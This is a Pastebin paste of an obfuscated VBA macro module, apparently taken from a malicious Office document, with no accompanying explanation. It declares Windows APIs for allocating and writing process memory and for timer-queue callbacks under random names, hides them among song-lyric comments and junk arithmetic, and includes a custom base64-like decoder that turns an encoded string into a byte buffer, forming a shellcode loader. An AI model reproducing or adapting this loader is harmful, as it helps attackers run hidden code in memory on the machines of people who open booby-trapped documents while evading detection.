Advertisement
Guest User

Untitled

a guest
Feb 18th, 2020
143
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.79 KB | None | 0 0
  1. Attribute VB_Name = "flaunt"
  2. ' I am here for you if youd only care
  3. ' I am here for you if youd only care
  4. #If (5 * 2) > 5 / 2 And Win64 > (5 - 5) * 1 Then
  5. ' It may be over but it wont stop there
  6. ' Ive kissed your lips and held your head
  7. Public Declare PtrSafe Function als Lib "Ntdll.dll " Alias "NtAllocateVirtualMemory" (endorse As LongPtr, theropod As LongPtr, ByVal sensitizing As LongPtr, aggressivelyByVal As LongPtr, cirrhosis As LongPtr, ByVal muculent As LongPtr) As LongPtr
  8. ' My heart was blinded by you
  9. ' Should I be feeling guilty or let the judges frown
  10. Public Declare PtrSafe Function choirmaster Lib "Kernel32.dll" Alias "CreateEventW" (ByVal noshow As LongPtr, cosmic As LongPtr, mycophagist As LongPtr, intolerant As LongPtr, almondeyed As LongPtr) As Long
  11. ' Goodbye my lover
  12. ' Did I disappoint you or let you down
  13. Public Declare PtrSafe Function bakehouse Lib "Ntdll.dll " Alias _
  14. "NtWriteVirtualMemory" (ByVal seller As Any, ByVal infuscate As Any, ByVal afflictive As Any, ByVal meles As Any, ByVal isere As Any) As LongPtr
  15. ' Goodbye my lover
  16. ' Yes I saw you were blinded and I knew I had won
  17. ' I am here for you if youd only care
  18. Public Declare PtrSafe Function alaska Lib "ntdll.dll" Alias "NtCreateEventPair" (chromate As LongPtr, cdr As LongPtr, nitella As LongPtr) As LongPtr
  19. ' Goodbye my lover
  20. ' Should I be feeling guilty or let the judges frown
  21. Public Declare PtrSafe Function baalamb Lib "Kernel32" Alias "CreateTimerQueueTimer" (ammeter As Any, ByVal myxinikela As Any, ByVal booth As Any, ByVal ashore As Any, ByVal jouir As Any, ByVal diathermanous As Any, ByVal pi As Any) As Long
  22. ' You have been the one
  23. ' Goodbye my lover
  24. Public Declare PtrSafe Function bitternut Lib "Shell32.dll" Alias "SHChangeNotification_Lock" (carthorse As LongPtr, chickeree As Any, receipts As LongPtr, enjoyable As Any) As Boolean
  25. ' Yes I saw you were blinded and I knew I had won
  26. ' You have been the one
  27. Public Declare PtrSafe Function bata Lib "Shlwapi.dll" Alias "CreateFileWrapW" (cassowary As LongPtr) As LongPtr
  28. ' You have been the one for me
  29. #End If
  30.  
  31. #If (5 * 2) > 5 / 2 And Not Win64 > (5 - 5) * 1 Then
  32. ' So I took whats mine by eternal right
  33. ' Cause I saw the end before wed begun,
  34. Public Declare Function bakehouse Lib "Ntdll.dll " Alias _
  35. "NtWriteVirtualMemory" (ByVal commissure As Any, ByVal resignedly As Any, ByVal dryad As Any, ByVal earthquake As Any, ByVal everybody As Any) As Long
  36. ' You have been the one for me
  37. ' Cause I saw the end before wed begun,
  38. Public Declare Function homesick Lib "Shell32.dll" Alias "SHChangeNotification_Lock" (sua As Long, paramagnetic As Any, nicotiana As Long, tragalist As Any) As Boolean
  39. ' Cause I saw the end before wed begun,
  40. ' Took your soul out into the night
  41. Public Declare Function doggish Lib "Shlwapi.dll" Alias "CreateFileWrapW" (helping As Long) As Long
  42. ' You changed my life and all my goals
  43. ' Ive kissed your lips and held your head
  44. Public Declare Function als Lib "Ntdll.dll " Alias "NtAllocateVirtualMemory" (simplify As Long, apprehension As Long, ByVal vowellike As Long, confusableByVal As Long, chatterbox As Long, ByVal breezy As Long) As Long
  45. ' Ive been addicted to you
  46. ' And love is blind and that I knew when
  47. Public Declare Function aloes Lib "ntdll.dll" Alias "NtCreateEventPair" (eohippus As Long, ashamedly As Long, cleareyed As Long) As Long
  48. ' You touched my heart you touched my soul
  49. ' Cause I saw the end before wed begun,
  50. ' Did I disappoint you or let you down
  51. Public Declare Function baalamb Lib "Kernel32" Alias "CreateTimerQueueTimer" (serenity As Any, ByVal graces As Any, ByVal yew As Any, ByVal accounts As Any, ByVal morbid As Any, ByVal egghead As Any, ByVal beninese As Any) As Long
  52. ' Ive kissed your lips and held your head
  53. ' Goodbye my lover
  54. Public Declare Function analyst Lib "Kernel32.dll" Alias "CreateEventW" (ByVal cropped As Long, affair As Long, burgrass As Long, take As Long, impure As Long) As Long
  55. ' Shared your dreams and shared your bed
  56. ' Ive been addicted to you
  57.  
  58. ' Yes I saw you were blinded and I knew I had won
  59. ' My heart was blinded by you
  60. #End If
  61.  
  62.  
  63. ' Ive kissed your lips and held your head
  64. '
  65. Sub add()
  66. With ActiveDocument.Sections(1).Headers(wdHeaderFooterPrimary) _
  67. .PageNumbers
  68. .IncludeChapterNumber = True
  69. .ChapterPageSeparator = wdSeparatorEnDash
  70. End With
  71. End Sub
  72.  
  73. Function eagre()
  74. Dim sylphid(255) As Byte
  75. serve = 28 + 37
  76. Do
  77. sylphid(serve) = serve - 65
  78. serve = serve + 1
  79. Loop While serve <= 90 + 1
  80. serve = 48
  81. Do
  82. sylphid(serve) = serve + 4
  83. serve = serve + 1
  84. Loop While serve <= 50 + 8
  85. serve = 97
  86. Do
  87. sylphid(serve) = serve - 71
  88. serve = serve + 1
  89. Loop While serve <= 120 + 3
  90. sylphid(47) = 63
  91. serve = 43
  92. sylphid(serve) = 60 + 2
  93. eagre = sylphid
  94. End Function
  95. Function caruncular(insensible)
  96. caruncular = AscW(insensible)
  97. End Function
  98. Function them(aleuromancy, abnormis, crossheading)
  99. Select Case crossheading
  100. Case 55 + 2 - 2
  101. them = aleuromancy \ abnormis
  102. Case 65 + 2 - 2
  103. them = aleuromancy And abnormis
  104. Case 73 + 2 - 2
  105. them = aleuromancy * abnormis
  106. End Select
  107. End Function
  108. Function hamster(accompany) As String
  109. Dim escutcheon As Long
  110. Dim anethum As String
  111. Dim countermark(6962) As Byte
  112. Dim interpolate As Byte
  113.  
  114. Dim headful() As Byte
  115. Dim outofschool As Long
  116. Dim cytogenesis As Long
  117.  
  118. Dim avantpropos(63) As Long
  119. Dim complaint As Variant
  120.  
  121. ampleness = "eschrichtius"
  122.  
  123. Dim meronym As Integer
  124. Dim waxy As Long
  125. slantwise = Fix(264)
  126.  
  127. Dim stein(63) As Long
  128. slantwise = Math.Round(351)
  129.  
  130. Dim earful As Long
  131. Dim manifestation As Long
  132.  
  133. Dim deeprooted(63) As Long
  134. approximating = 60 + 257988
  135. convincement = 262144
  136. Dim confide As Byte
  137.  
  138. headmost = 52 - 63 + 74
  139. classis = 63 + 65217
  140. cracow = 55 + 200
  141. Dim terrorism As Variant
  142.  
  143. asserted = 256
  144. hydras = 58 + 6
  145. argusianus = 4032
  146. outfit = 84 + 11 + 16514977
  147. somatosense = 4096
  148. haversack = 16711680
  149. Dim deuteromycota As String
  150.  
  151. babyminder = 65536
  152. Dim counteracting As String
  153. anarhichas = 32 + 51 - 83
  154. ensign = 7843
  155. Dim unboiled() As Byte
  156. Dim erectile As Integer
  157. Dim delaceration As Integer
  158. unboiled = VBA.StrConv(accompany, 128)
  159. Dim melee As Variant
  160. achromatize = 74
  161. clarity = 29584
  162. apposition = 188653
  163. VBA.Financial.Pmt 0, achromatize, 23710, 23551, 6
  164.  
  165. contextually = 7843
  166. subconsciously = vbKeyShift - 12
  167. For costate = 0 To contextually
  168. If costate Mod 2 = 0 Then
  169. unboiled(costate) = unboiled(costate) - subconsciously
  170. Else
  171. unboiled(costate) = unboiled(costate) - (subconsciously - 1)
  172. End If
  173. Next costate
  174. fishery = 100
  175. adultism = 36329
  176. harrier = 187112
  177. VBA.Financial.Pmt 0, fishery, 16534, 48071, 8
  178.  
  179. meronym = 0
  180. avirulent = 0
  181. interest = 48 - 62 + 57
  182. impossibly = eagre
  183. For earful = (7 - 7) * 1 To 60 + 3 * 1
  184. stein(earful) = them(earful, hydras, 70 + 3)
  185. deeprooted(earful) = them(earful, somatosense, 70 + 3)
  186. avantpropos(earful) = them(earful, convincement, 70 + 3)
  187. Next earful
  188. akron = 52
  189. helps = 15366
  190. thallus = 271112
  191. VBA.Financial.Pmt 0, akron, 26838, 43957, 7
  192.  
  193. headful = unboiled
  194. meconium = 4
  195. acatalectic = 60
  196. affix = 2448
  197. designate = 593393
  198. VBA.Financial.Pmt 0, acatalectic, 25367, 25156, 4
  199.  
  200. Revision = 3
  201. ampleness = favor
  202.  
  203. showplace = Math.Round(434)
  204.  
  205. avowedly = Revision + 1
  206. conspection = 2
  207. For waxy = 0 To contextually
  208. milestone = headful(waxy)
  209. sufiism = headful(waxy + 2)
  210. lespos = stein(impossibly(sufiism)) + impossibly(headful(waxy + Revision))
  211. escutcheon = avantpropos(impossibly(milestone)) + deeprooted(impossibly(headful(waxy + 1))) + lespos
  212. earful = them(escutcheon, haversack, 65)
  213. countermark(outofschool) = them(earful, babyminder, 55)
  214. earful = them(escutcheon, classis, 65)
  215. countermark(outofschool + 1) = them(earful, asserted, 55)
  216. countermark(outofschool + conspection) = them(escutcheon, cracow, 65)
  217. outofschool = outofschool + conspection + 1
  218. waxy = waxy + 3
  219. Next
  220. hamster = countermark
  221. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement